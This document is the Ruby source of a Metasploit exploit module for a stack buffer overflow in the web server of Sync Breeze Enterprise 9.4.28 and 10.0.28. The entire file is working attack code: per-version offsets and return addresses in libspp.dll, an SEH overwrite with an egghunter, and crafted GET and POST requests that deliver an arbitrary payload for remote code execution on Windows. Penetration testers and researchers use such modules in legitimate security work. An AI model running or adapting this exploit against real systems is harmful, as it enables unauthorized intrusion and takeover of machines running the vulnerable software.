166 lines
4.1 KiB
Ruby
166 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability
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in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
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improper bounds checking of the request in HTTP GET and POST requests
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sent to the built-in web server. This module has been tested
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successfully on Windows 7 SP1 x86.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Daniel Teixeira',
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'Andrew Smith', # MSF support for v10.0.28
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'Owais Mehtab' # Original v10.0.28 exploit
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
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'Space' => 500
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},
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'Targets' =>
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[
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[
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'Automatic', {}
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],
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[ 'Sync Breeze Enterprise v9.4.28',
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{
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'Offset' => 2488,
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'Ret' => 0x10015fde # POP # POP # RET [libspp.dll]
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}
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],
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[ 'Sync Breeze Enterprise v10.0.28',
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{
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'Offset' => 780,
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'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Mar 15 2017',
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'DefaultTarget' => 0))
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end
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def get_product_name
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => '/'
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)
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if res && res.code == 200
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product_name = res.body.scan(/(Sync Breeze Enterprise v[^<]*)/i).flatten.first
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return product_name if product_name
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end
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nil
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end
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def check
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product_name = get_product_name
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return Exploit::CheckCode::Unknown unless product_name
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if product_name =~ /9\.4\.28/ || product_name =~ /10\.0\.28/
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return Exploit::CheckCode::Appears
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elsif product_name =~ /Sync Breeze Enterprise/
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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def get_target_name
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if target.name != 'Automatic'
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print_status("Target manually set as #{target.name}")
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return target
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else
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print_status('Automatically detecting target...')
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end
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case get_product_name
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when /9\.4\.28/
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print_status('Target is 9.4.28')
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return targets[1]
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when /10\.0\.28/
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print_status('Target is 10.0.28')
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return targets[2]
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else
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nil
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end
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end
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def exploit
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tmp_target = target
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case get_target_name
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when targets[1]
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target = targets[1]
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eggoptions = {
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checksum: true,
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eggtag: rand_text_alpha(4, payload_badchars)
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}
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hunter, egg = generate_egghunter(
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payload.encoded,
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payload_badchars,
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eggoptions
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)
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sploit = rand_text_alpha(target['Offset'])
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sploit << generate_seh_record(target.ret)
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sploit << hunter
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sploit << make_nops(10)
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sploit << egg
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sploit << rand_text_alpha(5500)
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print_status('Sending request...')
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send_request_cgi(
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'method' => 'GET',
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'uri' => sploit
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)
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when targets[2]
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target = targets[2]
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uri = "/login"
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sploit = rand_text_alpha(target['Offset'])
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sploit << [target.ret].pack('V')
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sploit << rand_text(4)
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make_nops(10)
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sploit << payload.encoded
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print_status('Sending request...')
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send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'vars_post' => {
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'username' => "#{sploit}",
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'password' => "rawr"
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}
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)
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else
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print_error("Exploit not suitable for this target.")
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end
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ensure
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target = tmp_target
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end
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end
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